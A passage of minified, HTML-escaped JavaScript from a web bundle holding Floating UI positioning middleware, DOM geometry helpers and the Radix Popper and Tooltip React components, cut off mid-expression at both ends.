0:r.placement)&amp;&amp;(n=l.arrow)!=null&amp;&amp;n.alignmentOffset?{}:{x:i+c.x,y:s+c.y,data:{...c,placement:o}}}}},Toe=function(e){return e===void 0&amp;&amp;(e={}),{name:&quot;shift&quot;,options:e,async fn(t){const{x:r,y:n,placement:i}=t,{mainAxis:s=!0,crossAxis:o=!1,limiter:l={fn:w=&gt;{let{x:j,y:E}=w;return{x:j,y:E}}},...c}=Zf(e,t),d={x:r,y:n},u=await dv(t,c),h=Fd(Jf(i)),p=H6(h);let A=d[p],y=d[h];if(s){const w=p===&quot;y&quot;?&quot;top&quot;:&quot;left&quot;,j=p===&quot;y&quot;?&quot;bottom&quot;:&quot;right&quot;,E=A+u[w],S=A-u[j];A=eN(E,A,S)}if(o){const w=h===&quot;y&quot;?&quot;top&quot;:&quot;left&quot;,j=h===&quot;y&quot;?&quot;bottom&quot;:&quot;right&quot;,E=y+u[w],S=y-u[j];y=eN(E,y,S)}const v=l.fn({...t,[p]:A,[h]:y});return{...v,data:{x:v.x-r,y:v.y-n,enabled:{[p]:s,[h]:o}}}}}},Roe=function(e){return e===void 0&amp;&amp;(e={}),{options:e,fn(t){const{x:r,y:n,placement:i,rects:s,middlewareData:o}=t,{offset:l=0,mainAxis:c=!0,crossAxis:d=!0}=Zf(e,t),u={x:r,y:n},h=Fd(i),p=H6(h);let A=u[p],y=u[h];const v=Zf(l,t),w=typeof v==&quot;number&quot;?{mainAxis:v,crossAxis:0}:{mainAxis:0,crossAxis:0,...v};if(c){const S=p===&quot;y&quot;?&quot;height&quot;:&quot;width&quot;,_=s.reference[p]-s.floating[S]+w.mainAxis,C=s.reference[p]+s.reference[S]-w.mainAxis;A&lt;_?A=_:A&gt;C&amp;&amp;(A=C)}if(d){var j,E;const S=p===&quot;y&quot;?&quot;width&quot;:&quot;height&quot;,_=BL.has(Jf(i)),C=s.reference[h]-s.floating[S]+(_&amp;&amp;((j=o.offset)==null?void 0:j[h])||0)+(_?0:w.crossAxis),Q=s.reference[h]+s.reference[S]+(_?0:((E=o.offset)==null?void 0:E[h])||0)-(_?w.crossAxis:0);y&lt;C?y=C:y&gt;Q&amp;&amp;(y=Q)}return{[p]:A,[h]:y}}}},Poe=function(e){return e===void 0&amp;&amp;(e={}),{name:&quot;size&quot;,options:e,async fn(t){var r,n;const{placement:i,rects:s,platform:o,elements:l}=t,{apply:c=()=&gt;{},...d}=Zf(e,t),u=await dv(t,d),h=Jf(i),p=H1(i),A=Fd(i)===&quot;y&quot;,{width:y,height:v}=s.floating;let w,j;h===&quot;top&quot;||h===&quot;bottom&quot;?(w=h,j=p===(await(o.isRTL==null?void 0:o.isRTL(l.floating))?&quot;start&quot;:&quot;end&quot;)?&quot;left&quot;:&quot;right&quot;):(j=h,w=p===&quot;end&quot;?&quot;top&quot;:&quot;bottom&quot;);const E=v-u.top-u.bottom,S=y-u.left-u.right,_=Bm(v-u[w],E),C=Bm(y-u[j],S),Q=!t.middlewareData.shift;let R=_,T=C;if((r=t.middlewareData.shift)!=null&amp;&amp;r.enabled.x&amp;&amp;(T=S),(n=t.middlewareData.shift)!=null&amp;&amp;n.enabled.y&amp;&amp;(R=E),Q&amp;&amp;!p){const O=nu(u.left,0),$=nu(u.right,0),P=nu(u.top,0),L=nu(u.bottom,0);A?T=y-2*(O!==0||$!==0?O+$:nu(u.left,u.right)):R=v-2*(P!==0||L!==0?P+L:nu(u.top,u.bottom))}await c({...t,availableWidth:T,availableHeight:R});const M=await o.getDimensions(l.floating);return y!==M.width||v!==M.height?{reset:{rects:!0}}:{}}}};function x4(){return typeof window&lt;&quot;u&quot;}function q1(e){return kL(e)?(e.nodeName||&quot;&quot;).toLowerCase():&quot;#document&quot;}function ou(e){var t;return(e==null||(t=e.ownerDocument)==null?void 0:t.defaultView)||window}function nf(e){var t;return(t=(kL(e)?e.ownerDocument:e.document)||window.document)==null?void 0:t.documentElement}function kL(e){return x4()?e instanceof Node||e instanceof ou(e).Node:!1}function z0(e){return x4()?e instanceof Element||e instanceof ou(e).Element:!1}function Gd(e){return x4()?e instanceof HTMLElement||e instanceof ou(e).HTMLElement:!1}function KD(e){return!x4()||typeof ShadowRoot&gt;&quot;u&quot;?!1:e instanceof ShadowRoot||e instanceof ou(e).ShadowRoot}const Qoe=new Set([&quot;inline&quot;,&quot;contents&quot;]);function ny(e){const{overflow:t,overflowX:r,overflowY:n,display:i}=$0(e);return/auto|scroll|overlay|hidden|clip/.test(t+n+r)&amp;&amp;!Qoe.has(i)}const Foe=new Set([&quot;table&quot;,&quot;td&quot;,&quot;th&quot;]);function Ooe(e){return Foe.has(q1(e))}const Loe=[&quot;:popover-open&quot;,&quot;:modal&quot;];function v4(e){return Loe.some(t=&gt;{try{return e.matches(t)}catch{return!1}})}const Moe=[&quot;transform&quot;,&quot;translate&quot;,&quot;scale&quot;,&quot;rotate&quot;,&quot;perspective&quot;],Uoe=[&quot;transform&quot;,&quot;translate&quot;,&quot;scale&quot;,&quot;rotate&quot;,&quot;perspective&quot;,&quot;filter&quot;],zoe=[&quot;paint&quot;,&quot;layout&quot;,&quot;strict&quot;,&quot;content&quot;];function V6(e){const t=W6(),r=z0(e)?$0(e):e;return Moe.some(n=&gt;r[n]?r[n]!==&quot;none&quot;:!1)||(r.containerType?r.containerType!==&quot;normal&quot;:!1)||!t&amp;&amp;(r.backdropFilter?r.backdropFilter!==&quot;none&quot;:!1)||!t&amp;&amp;(r.filter?r.filter!==&quot;none&quot;:!1)||Uoe.some(n=&gt;(r.willChange||&quot;&quot;).includes(n))||zoe.some(n=&gt;(r.contain||&quot;&quot;).includes(n))}function $oe(e){let t=km(e);for(;Gd(t)&amp;&amp;!d1(t);){if(V6(t))return t;if(v4(t))return null;t=km(t)}return null}function W6(){return typeof CSS&gt;&quot;u&quot;||!CSS.supports?!1:CSS.supports(&quot;-webkit-backdrop-filter&quot;,&quot;none&quot;)}const Hoe=new Set([&quot;html&quot;,&quot;body&quot;,&quot;#document&quot;]);function d1(e){return Hoe.has(q1(e))}function $0(e){return ou(e).getComputedStyle(e)}function y4(e){return z0(e)?{scrollLeft:e.scrollLeft,scrollTop:e.scrollTop}:{scrollLeft:e.scrollX,scrollTop:e.scrollY}}function km(e){if(q1(e)===&quot;html&quot;)return e;const t=e.assignedSlot||e.parentNode||KD(e)&amp;&amp;e.host||nf(e);return KD(t)?t.host:t}function _L(e){const t=km(e);return d1(t)?e.ownerDocument?e.ownerDocument.body:e.body:Gd(t)&amp;&amp;ny(t)?t:_L(t)}function fv(e,t,r){var n;t===void 0&amp;&amp;(t=[]),r===void 0&amp;&amp;(r=!0);const i=_L(e),s=i===((n=e.ownerDocument)==null?void 0:n.body),o=ou(i);if(s){const l=rN(o);return t.concat(o,o.visualViewport||[],ny(i)?i:[],l&amp;&amp;r?fv(l):[])}return t.concat(i,fv(i,[],r))}function rN(e){return e.parent&amp;&amp;Object.getPrototypeOf(e.parent)?e.frameElement:null}function DL(e){const t=$0(e);let r=parseFloat(t.width)||0,n=parseFloat(t.height)||0;const i=Gd(e),s=i?e.offsetWidth:r,o=i?e.offsetHeight:n,l=tw(r)!==s||tw(n)!==o;return l&amp;&amp;(r=s,n=o),{width:r,height:n,$:l}}function K6(e){return z0(e)?e:e.contextElement}function GA(e){const t=K6(e);if(!Gd(t))return $d(1);const r=t.getBoundingClientRect(),{width:n,height:i,$:s}=DL(t);let o=(s?tw(r.width):r.width)/n,l=(s?tw(r.height):r.height)/i;return(!o||!Number.isFinite(o))&amp;&amp;(o=1),(!l||!Number.isFinite(l))&amp;&amp;(l=1),{x:o,y:l}}const qoe=$d(0);function TL(e){const t=ou(e);return!W6()||!t.visualViewport?qoe:{x:t.visualViewport.offsetLeft,y:t.visualViewport.offsetTop}}function Goe(e,t,r){return t===void 0&amp;&amp;(t=!1),!r||t&amp;&amp;r!==ou(e)?!1:t}function gg(e,t,r,n){t===void 0&amp;&amp;(t=!1),r===void 0&amp;&amp;(r=!1);const i=e.getBoundingClientRect(),s=K6(e);let o=$d(1);t&amp;&amp;(n?z0(n)&amp;&amp;(o=GA(n)):o=GA(e));const l=Goe(s,r,n)?TL(s):$d(0);let c=(i.left+l.x)/o.x,d=(i.top+l.y)/o.y,u=i.width/o.x,h=i.height/o.y;if(s){const p=ou(s),A=n&amp;&amp;z0(n)?ou(n):n;let y=p,v=rN(y);for(;v&amp;&amp;n&amp;&amp;A!==y;){const w=GA(v),j=v.getBoundingClientRect(),E=$0(v),S=j.left+(v.clientLeft+parseFloat(E.paddingLeft))*w.x,_=j.top+(v.clientTop+parseFloat(E.paddingTop))*w.y;c*=w.x,d*=w.y,u*=w.x,h*=w.y,c+=S,d+=_,y=ou(v),v=rN(y)}}return nw({width:u,height:h,x:c,y:d})}function b4(e,t){const r=y4(e).scrollLeft;return t?t.left+r:gg(nf(e)).left+r}function RL(e,t){const r=e.getBoundingClientRect(),n=r.left+t.scrollLeft-b4(e,r),i=r.top+t.scrollTop;return{x:n,y:i}}function Voe(e){let{elements:t,rect:r,offsetParent:n,strategy:i}=e;const s=i===&quot;fixed&quot;,o=nf(n),l=t?v4(t.floating):!1;if(n===o||l&amp;&amp;s)return r;let c={scrollLeft:0,scrollTop:0},d=$d(1);const u=$d(0),h=Gd(n);if((h||!h&amp;&amp;!s)&amp;&amp;((q1(n)!==&quot;body&quot;||ny(o))&amp;&amp;(c=y4(n)),Gd(n))){const A=gg(n);d=GA(n),u.x=A.x+n.clientLeft,u.y=A.y+n.clientTop}const p=o&amp;&amp;!h&amp;&amp;!s?RL(o,c):$d(0);return{width:r.width*d.x,height:r.height*d.y,x:r.x*d.x-c.scrollLeft*d.x+u.x+p.x,y:r.y*d.y-c.scrollTop*d.y+u.y+p.y}}function Woe(e){return Array.from(e.getClientRects())}function Koe(e){const t=nf(e),r=y4(e),n=e.ownerDocument.body,i=nu(t.scrollWidth,t.clientWidth,n.scrollWidth,n.clientWidth),s=nu(t.scrollHeight,t.clientHeight,n.scrollHeight,n.clientHeight);let o=-r.scrollLeft+b4(e);const l=-r.scrollTop;return $0(n).direction===&quot;rtl&quot;&amp;&amp;(o+=nu(t.clientWidth,n.clientWidth)-i),{width:i,height:s,x:o,y:l}}const YD=25;function Yoe(e,t){const r=ou(e),n=nf(e),i=r.visualViewport;let s=n.clientWidth,o=n.clientHeight,l=0,c=0;if(i){s=i.width,o=i.height;const u=W6();(!u||u&amp;&amp;t===&quot;fixed&quot;)&amp;&amp;(l=i.offsetLeft,c=i.offsetTop)}const d=b4(n);if(d&lt;=0){const u=n.ownerDocument,h=u.body,p=getComputedStyle(h),A=u.compatMode===&quot;CSS1Compat&quot;&amp;&amp;parseFloat(p.marginLeft)+parseFloat(p.marginRight)||0,y=Math.abs(n.clientWidth-h.clientWidth-A);y&lt;=YD&amp;&amp;(s-=y)}else d&lt;=YD&amp;&amp;(s+=d);return{width:s,height:o,x:l,y:c}}const Zoe=new Set([&quot;absolute&quot;,&quot;fixed&quot;]);function Joe(e,t){const r=gg(e,!0,t===&quot;fixed&quot;),n=r.top+e.clientTop,i=r.left+e.clientLeft,s=Gd(e)?GA(e):$d(1),o=e.clientWidth*s.x,l=e.clientHeight*s.y,c=i*s.x,d=n*s.y;return{width:o,height:l,x:c,y:d}}function ZD(e,t,r){let n;if(t===&quot;viewport&quot;)n=Yoe(e,r);else if(t===&quot;document&quot;)n=Koe(nf(e));else if(z0(t))n=Joe(t,r);else{const i=TL(e);n={x:t.x-i.x,y:t.y-i.y,width:t.width,height:t.height}}return nw(n)}function PL(e,t){const r=km(e);return r===t||!z0(r)||d1(r)?!1:$0(r).position===&quot;fixed&quot;||PL(r,t)}function Xoe(e,t){const r=t.get(e);if(r)return r;let n=fv(e,[],!1).filter(l=&gt;z0(l)&amp;&amp;q1(l)!==&quot;body&quot;),i=null;const s=$0(e).position===&quot;fixed&quot;;let o=s?km(e):e;for(;z0(o)&amp;&amp;!d1(o);){const l=$0(o),c=V6(o);!c&amp;&amp;l.position===&quot;fixed&quot;&amp;&amp;(i=null),(s?!c&amp;&amp;!i:!c&amp;&amp;l.position===&quot;static&quot;&amp;&amp;!!i&amp;&amp;Zoe.has(i.position)||ny(o)&amp;&amp;!c&amp;&amp;PL(e,o))?n=n.filter(u=&gt;u!==o):i=l,o=km(o)}return t.set(e,n),n}function ele(e){let{element:t,boundary:r,rootBoundary:n,strategy:i}=e;const o=[...r===&quot;clippingAncestors&quot;?v4(t)?[]:Xoe(t,this._c):[].concat(r),n],l=o[0],c=o.reduce((d,u)=&gt;{const h=ZD(t,u,i);return d.top=nu(h.top,d.top),d.right=Bm(h.right,d.right),d.bottom=Bm(h.bottom,d.bottom),d.left=nu(h.left,d.left),d},ZD(t,l,i));return{width:c.right-c.left,height:c.bottom-c.top,x:c.left,y:c.top}}function tle(e){const{width:t,height:r}=DL(e);return{width:t,height:r}}function rle(e,t,r){const n=Gd(t),i=nf(t),s=r===&quot;fixed&quot;,o=gg(e,!0,s,t);let l={scrollLeft:0,scrollTop:0};const c=$d(0);function d(){c.x=b4(i)}if(n||!n&amp;&amp;!s)if((q1(t)!==&quot;body&quot;||ny(i))&amp;&amp;(l=y4(t)),n){const A=gg(t,!0,s,t);c.x=A.x+t.clientLeft,c.y=A.y+t.clientTop}else i&amp;&amp;d();s&amp;&amp;!n&amp;&amp;i&amp;&amp;d();const u=i&amp;&amp;!n&amp;&amp;!s?RL(i,l):$d(0),h=o.left+l.scrollLeft-c.x-u.x,p=o.top+l.scrollTop-c.y-u.y;return{x:h,y:p,width:o.width,height:o.height}}function pI(e){return $0(e).position===&quot;static&quot;}function JD(e,t){if(!Gd(e)||$0(e).position===&quot;fixed&quot;)return null;if(t)return t(e);let r=e.offsetParent;return nf(e)===r&amp;&amp;(r=r.ownerDocument.body),r}function QL(e,t){const r=ou(e);if(v4(e))return r;if(!Gd(e)){let i=km(e);for(;i&amp;&amp;!d1(i);){if(z0(i)&amp;&amp;!pI(i))return i;i=km(i)}return r}let n=JD(e,t);for(;n&amp;&amp;Ooe(n)&amp;&amp;pI(n);)n=JD(n,t);return n&amp;&amp;d1(n)&amp;&amp;pI(n)&amp;&amp;!V6(n)?r:n||$oe(e)||r}const nle=async function(e){const t=this.getOffsetParent||QL,r=this.getDimensions,n=await r(e.floating);return{reference:rle(e.reference,await t(e.floating),e.strategy),floating:{x:0,y:0,width:n.width,height:n.height}}};function ile(e){return $0(e).direction===&quot;rtl&quot;}const ale={convertOffsetParentRelativeRectToViewportRelativeRect:Voe,getDocumentElement:nf,getClippingRect:ele,getOffsetParent:QL,getElementRects:nle,getClientRects:Woe,getDimensions:tle,getScale:GA,isElement:z0,isRTL:ile};function FL(e,t){return e.x===t.x&amp;&amp;e.y===t.y&amp;&amp;e.width===t.width&amp;&amp;e.height===t.height}function sle(e,t){let r=null,n;const i=nf(e);function s(){var l;clearTimeout(n),(l=r)==null||l.disconnect(),r=null}function o(l,c){l===void 0&amp;&amp;(l=!1),c===void 0&amp;&amp;(c=1),s();const d=e.getBoundingClientRect(),{left:u,top:h,width:p,height:A}=d;if(l||t(),!p||!A)return;const y=G2(h),v=G2(i.clientWidth-(u+p)),w=G2(i.clientHeight-(h+A)),j=G2(u),S={rootMargin:-y+&quot;px &quot;+-v+&quot;px &quot;+-w+&quot;px &quot;+-j+&quot;px&quot;,threshold:nu(0,Bm(1,c))||1};let _=!0;function C(Q){const R=Q[0].intersectionRatio;if(R!==c){if(!_)return o();R?o(!1,R):n=setTimeout(()=&gt;{o(!1,1e-7)},1e3)}R===1&amp;&amp;!FL(d,e.getBoundingClientRect())&amp;&amp;o(),_=!1}try{r=new IntersectionObserver(C,{...S,root:i.ownerDocument})}catch{r=new IntersectionObserver(C,S)}r.observe(e)}return o(!0),s}function ole(e,t,r,n){n===void 0&amp;&amp;(n={});const{ancestorScroll:i=!0,ancestorResize:s=!0,elementResize:o=typeof ResizeObserver==&quot;function&quot;,layoutShift:l=typeof IntersectionObserver==&quot;function&quot;,animationFrame:c=!1}=n,d=K6(e),u=i||s?[...d?fv(d):[],...fv(t)]:[];u.forEach(j=&gt;{i&amp;&amp;j.addEventListener(&quot;scroll&quot;,r,{passive:!0}),s&amp;&amp;j.addEventListener(&quot;resize&quot;,r)});const h=d&amp;&amp;l?sle(d,r):null;let p=-1,A=null;o&amp;&amp;(A=new ResizeObserver(j=&gt;{let[E]=j;E&amp;&amp;E.target===d&amp;&amp;A&amp;&amp;(A.unobserve(t),cancelAnimationFrame(p),p=requestAnimationFrame(()=&gt;{var S;(S=A)==null||S.observe(t)})),r()}),d&amp;&amp;!c&amp;&amp;A.observe(d),A.observe(t));let y,v=c?gg(e):null;c&amp;&amp;w();function w(){const j=gg(e);v&amp;&amp;!FL(v,j)&amp;&amp;r(),v=j,y=requestAnimationFrame(w)}return r(),()=&gt;{var j;u.forEach(E=&gt;{i&amp;&amp;E.removeEventListener(&quot;scroll&quot;,r),s&amp;&amp;E.removeEventListener(&quot;resize&quot;,r)}),h?.(),(j=A)==null||j.disconnect(),A=null,c&amp;&amp;cancelAnimationFrame(y)}}const lle=Doe,cle=Toe,ule=Boe,dle=Poe,fle=koe,XD=Soe,hle=Roe,mle=(e,t,r)=&gt;{const n=new Map,i={platform:ale,...r},s={...i.platform,_c:n};return Noe(e,t,{...i,platform:s})};var ple=typeof document&lt;&quot;u&quot;,gle=function(){},Vb=ple?I.useLayoutEffect:gle;function iw(e,t){if(e===t)return!0;if(typeof e!=typeof t)return!1;if(typeof e==&quot;function&quot;&amp;&amp;e.toString()===t.toString())return!0;let r,n,i;if(e&amp;&amp;t&amp;&amp;typeof e==&quot;object&quot;){if(Array.isArray(e)){if(r=e.length,r!==t.length)return!1;for(n=r;n--!==0;)if(!iw(e[n],t[n]))return!1;return!0}if(i=Object.keys(e),r=i.length,r!==Object.keys(t).length)return!1;for(n=r;n--!==0;)if(!{}.hasOwnProperty.call(t,i[n]))return!1;for(n=r;n--!==0;){const s=i[n];if(!(s===&quot;_owner&quot;&amp;&amp;e.$$typeof)&amp;&amp;!iw(e[s],t[s]))return!1}return!0}return e!==e&amp;&amp;t!==t}function OL(e){return typeof window&gt;&quot;u&quot;?1:(e.ownerDocument.defaultView||window).devicePixelRatio||1}function e7(e,t){const r=OL(e);return Math.round(t*r)/r}function gI(e){const t=I.useRef(e);return Vb(()=&gt;{t.current=e}),t}function Ale(e){e===void 0&amp;&amp;(e={});const{placement:t=&quot;bottom&quot;,strategy:r=&quot;absolute&quot;,middleware:n=[],platform:i,elements:{reference:s,floating:o}={},transform:l=!0,whileElementsMounted:c,open:d}=e,[u,h]=I.useState({x:0,y:0,strategy:r,placement:t,middlewareData:{},isPositioned:!1}),[p,A]=I.useState(n);iw(p,n)||A(n);const[y,v]=I.useState(null),[w,j]=I.useState(null),E=I.useCallback(q=&gt;{q!==Q.current&amp;&amp;(Q.current=q,v(q))},[]),S=I.useCallback(q=&gt;{q!==R.current&amp;&amp;(R.current=q,j(q))},[]),_=s||y,C=o||w,Q=I.useRef(null),R=I.useRef(null),T=I.useRef(u),M=c!=null,O=gI(c),$=gI(i),P=gI(d),L=I.useCallback(()=&gt;{if(!Q.current||!R.current)return;const q={placement:t,strategy:r,middleware:p};$.current&amp;&amp;(q.platform=$.current),mle(Q.current,R.current,q).then(ee=&gt;{const ne={...ee,isPositioned:P.current!==!1};X.current&amp;&amp;!iw(T.current,ne)&amp;&amp;(T.current=ne,L1.flushSync(()=&gt;{h(ne)}))})},[p,t,r,$,P]);Vb(()=&gt;{d===!1&amp;&amp;T.current.isPositioned&amp;&amp;(T.current.isPositioned=!1,h(q=&gt;({...q,isPositioned:!1})))},[d]);const X=I.useRef(!1);Vb(()=&gt;(X.current=!0,()=&gt;{X.current=!1}),[]),Vb(()=&gt;{if(_&amp;&amp;(Q.current=_),C&amp;&amp;(R.current=C),_&amp;&amp;C){if(O.current)return O.current(_,C,L);L()}},[_,C,L,O,M]);const W=I.useMemo(()=&gt;({reference:Q,floating:R,setReference:E,setFloating:S}),[E,S]),G=I.useMemo(()=&gt;({reference:_,floating:C}),[_,C]),J=I.useMemo(()=&gt;{const q={position:r,left:0,top:0};if(!G.floating)return q;const ee=e7(G.floating,u.x),ne=e7(G.floating,u.y);return l?{...q,transform:&quot;translate(&quot;+ee+&quot;px, &quot;+ne+&quot;px)&quot;,...OL(G.floating)&gt;=1.5&amp;&amp;{willChange:&quot;transform&quot;}}:{position:r,left:ee,top:ne}},[r,l,G.floating,u.x,u.y]);return I.useMemo(()=&gt;({...u,update:L,refs:W,elements:G,floatingStyles:J}),[u,L,W,G,J])}const xle=e=&gt;{function t(r){return{}.hasOwnProperty.call(r,&quot;current&quot;)}return{name:&quot;arrow&quot;,options:e,fn(r){const{element:n,padding:i}=typeof e==&quot;function&quot;?e(r):e;return n&amp;&amp;t(n)?n.current!=null?XD({element:n.current,padding:i}).fn(r):{}:n?XD({element:n,padding:i}).fn(r):{}}}},vle=(e,t)=&gt;({...lle(e),options:[e,t]}),yle=(e,t)=&gt;({...cle(e),options:[e,t]}),ble=(e,t)=&gt;({...hle(e),options:[e,t]}),wle=(e,t)=&gt;({...ule(e),options:[e,t]}),Ele=(e,t)=&gt;({...dle(e),options:[e,t]}),Cle=(e,t)=&gt;({...fle(e),options:[e,t]}),Ile=(e,t)=&gt;({...xle(e),options:[e,t]});var jle=&quot;Arrow&quot;,LL=I.forwardRef((e,t)=&gt;{const{children:r,width:n=10,height:i=5,...s}=e;return a.jsx(an.svg,{...s,ref:t,width:n,height:i,viewBox:&quot;0 0 30 10&quot;,preserveAspectRatio:&quot;none&quot;,children:e.asChild?r:a.jsx(&quot;polygon&quot;,{points:&quot;0,0 30,0 15,10&quot;})})});LL.displayName=jle;var Nle=LL;function ML(e){const[t,r]=I.useState(void 0);return zs(()=&gt;{if(e){r({width:e.offsetWidth,height:e.offsetHeight});const n=new ResizeObserver(i=&gt;{if(!Array.isArray(i)||!i.length)return;const s=i[0];let o,l;if(&quot;borderBoxSize&quot;in s){const c=s.borderBoxSize,d=Array.isArray(c)?c[0]:c;o=d.inlineSize,l=d.blockSize}else o=e.offsetWidth,l=e.offsetHeight;r({width:o,height:l})});return n.observe(e,{box:&quot;border-box&quot;}),()=&gt;n.unobserve(e)}else r(void 0)},[e]),t}var Y6=&quot;Popper&quot;,[UL,G1]=Sc(Y6),[Sle,zL]=UL(Y6),$L=e=&gt;{const{__scopePopper:t,children:r}=e,[n,i]=I.useState(null);return a.jsx(Sle,{scope:t,anchor:n,onAnchorChange:i,children:r})};$L.displayName=Y6;var HL=&quot;PopperAnchor&quot;,qL=I.forwardRef((e,t)=&gt;{const{__scopePopper:r,virtualRef:n,...i}=e,s=zL(HL,r),o=I.useRef(null),l=ri(t,o),c=I.useRef(null);return I.useEffect(()=&gt;{const d=c.current;c.current=n?.current||o.current,d!==c.current&amp;&amp;s.onAnchorChange(c.current)}),n?null:a.jsx(an.div,{...i,ref:l})});qL.displayName=HL;var Z6=&quot;PopperContent&quot;,[Ble,kle]=UL(Z6),GL=I.forwardRef((e,t)=&gt;{const{__scopePopper:r,side:n=&quot;bottom&quot;,sideOffset:i=0,align:s=&quot;center&quot;,alignOffset:o=0,arrowPadding:l=0,avoidCollisions:c=!0,collisionBoundary:d=[],collisionPadding:u=0,sticky:h=&quot;partial&quot;,hideWhenDetached:p=!1,updatePositionStrategy:A=&quot;optimized&quot;,onPlaced:y,...v}=e,w=zL(Z6,r),[j,E]=I.useState(null),S=ri(t,we=&gt;E(we)),[_,C]=I.useState(null),Q=ML(_),R=Q?.width??0,T=Q?.height??0,M=n+(s!==&quot;center&quot;?&quot;-&quot;+s:&quot;&quot;),O=typeof u==&quot;number&quot;?u:{top:0,right:0,bottom:0,left:0,...u},$=Array.isArray(d)?d:[d],P=$.length&gt;0,L={padding:O,boundary:$.filter(Dle),altBoundary:P},{refs:X,floatingStyles:W,placement:G,isPositioned:J,middlewareData:q}=Ale({strategy:&quot;fixed&quot;,placement:M,whileElementsMounted:(...we)=&gt;ole(...we,{animationFrame:A===&quot;always&quot;}),elements:{reference:w.anchor},middleware:[vle({mainAxis:i+T,alignmentAxis:o}),c&amp;&amp;yle({mainAxis:!0,crossAxis:!1,limiter:h===&quot;partial&quot;?ble():void 0,...L}),c&amp;&amp;wle({...L}),Ele({...L,apply:({elements:we,rects:ve,availableWidth:Ne,availableHeight:Ie})=&gt;{const{width:be,height:Re}=ve.reference,Pe=we.floating.style;Pe.setProperty(&quot;--radix-popper-available-width&quot;,`${Ne}px`),Pe.setProperty(&quot;--radix-popper-available-height&quot;,`${Ie}px`),Pe.setProperty(&quot;--radix-popper-anchor-width&quot;,`${be}px`),Pe.setProperty(&quot;--radix-popper-anchor-height&quot;,`${Re}px`)}}),_&amp;&amp;Ile({element:_,padding:l}),Tle({arrowWidth:R,arrowHeight:T}),p&amp;&amp;Cle({strategy:&quot;referenceHidden&quot;,...L})]}),[ee,ne]=KL(G),V=ql(y);zs(()=&gt;{J&amp;&amp;V?.()},[J,V]);const ue=q.arrow?.x,de=q.arrow?.y,xe=q.arrow?.centerOffset!==0,[_e,Ce]=I.useState();return zs(()=&gt;{j&amp;&amp;Ce(window.getComputedStyle(j).zIndex)},[j]),a.jsx(&quot;div&quot;,{ref:X.setFloating,&quot;data-radix-popper-content-wrapper&quot;:&quot;&quot;,style:{...W,transform:J?W.transform:&quot;translate(0, -200%)&quot;,minWidth:&quot;max-content&quot;,zIndex:_e,&quot;--radix-popper-transform-origin&quot;:[q.transformOrigin?.x,q.transformOrigin?.y].join(&quot; &quot;),...q.hide?.referenceHidden&amp;&amp;{visibility:&quot;hidden&quot;,pointerEvents:&quot;none&quot;}},dir:e.dir,children:a.jsx(Ble,{scope:r,placedSide:ee,onArrowChange:C,arrowX:ue,arrowY:de,shouldHideArrow:xe,children:a.jsx(an.div,{&quot;data-side&quot;:ee,&quot;data-align&quot;:ne,...v,ref:S,style:{...v.style,animation:J?void 0:&quot;none&quot;}})})})});GL.displayName=Z6;var VL=&quot;PopperArrow&quot;,_le={top:&quot;bottom&quot;,right:&quot;left&quot;,bottom:&quot;top&quot;,left:&quot;right&quot;},WL=I.forwardRef(function(t,r){const{__scopePopper:n,...i}=t,s=kle(VL,n),o=_le[s.placedSide];return a.jsx(&quot;span&quot;,{ref:s.onArrowChange,style:{position:&quot;absolute&quot;,left:s.arrowX,top:s.arrowY,[o]:0,transformOrigin:{top:&quot;&quot;,right:&quot;0 0&quot;,bottom:&quot;center 0&quot;,left:&quot;100% 0&quot;}[s.placedSide],transform:{top:&quot;translateY(100%)&quot;,right:&quot;translateY(50%) rotate(90deg) translateX(-50%)&quot;,bottom:&quot;rotate(180deg)&quot;,left:&quot;translateY(50%) rotate(-90deg) translateX(50%)&quot;}[s.placedSide],visibility:s.shouldHideArrow?&quot;hidden&quot;:void 0},children:a.jsx(Nle,{...i,ref:r,style:{...i.style,display:&quot;block&quot;}})})});WL.displayName=VL;function Dle(e){return e!==null}var Tle=e=&gt;({name:&quot;transformOrigin&quot;,options:e,fn(t){const{placement:r,rects:n,middlewareData:i}=t,o=i.arrow?.centerOffset!==0,l=o?0:e.arrowWidth,c=o?0:e.arrowHeight,[d,u]=KL(r),h={start:&quot;0%&quot;,center:&quot;50%&quot;,end:&quot;100%&quot;}[u],p=(i.arrow?.x??0)+l/2,A=(i.arrow?.y??0)+c/2;let y=&quot;&quot;,v=&quot;&quot;;return d===&quot;bottom&quot;?(y=o?h:`${p}px`,v=`${-c}px`):d===&quot;top&quot;?(y=o?h:`${p}px`,v=`${n.floating.height+c}px`):d===&quot;right&quot;?(y=`${-c}px`,v=o?h:`${A}px`):d===&quot;left&quot;&amp;&amp;(y=`${n.floating.width+c}px`,v=o?h:`${A}px`),{data:{x:y,y:v}}}});function KL(e){const[t,r=&quot;center&quot;]=e.split(&quot;-&quot;);return[t,r]}var J6=$L,X6=qL,eS=GL,tS=WL,Rle=Symbol(&quot;radix.slottable&quot;);function Ple(e){const t=({children:r})=&gt;a.jsx(a.Fragment,{children:r});return t.displayName=`${e}.Slottable`,t.__radixId=Rle,t}var[w4]=Sc(&quot;Tooltip&quot;,[G1]),E4=G1(),YL=&quot;TooltipProvider&quot;,Qle=700,nN=&quot;tooltip.open&quot;,[Fle,rS]=w4(YL),ZL=e=&gt;{const{__scopeTooltip:t,delayDuration:r=Qle,skipDelayDuration:n=300,disableHoverableContent:i=!1,children:s}=e,o=I.useRef(!0),l=I.useRef(!1),c=I.useRef(0);return I.useEffect(()=&gt;{const d=c.current;return()=&gt;window.clearTimeout(d)},[]),a.jsx(Fle,{scope:t,isOpenDelayedRef:o,delayDuration:r,onOpen:I.useCallback(()=&gt;{window.clearTimeout(c.current),o.current=!1},[]),onClose:I.useCallback(()=&gt;{window.clearTimeout(c.current),c.current=window.setTimeout(()=&gt;o.current=!0,n)},[n]),isPointerInTransitRef:l,onPointerInTransitChange:I.useCallback(d=&gt;{l.current=d},[]),disableHoverableContent:i,children:s})};ZL.displayName=YL;var hv=&quot;Tooltip&quot;,[Ole,C4]=w4(hv),JL=e=&gt;{const{__scopeTooltip:t,children:r,open:n,defaultOpen:i,onOpenChange:s,disableHoverableContent:o,delayDuration:l}=e,c=rS(hv,e.__scopeTooltip),d=E4(t),[u,h]=I.useState(null),p=su(),A=I.useRef(0),y=o??c.disableHoverableContent,v=l??c.delayDuration,w=I.useRef(!1),[j,E]=a0({prop:n,defaultProp:i??!1,onChange:R=&gt;{R?(c.onOpen(),document.dispatchEvent(new 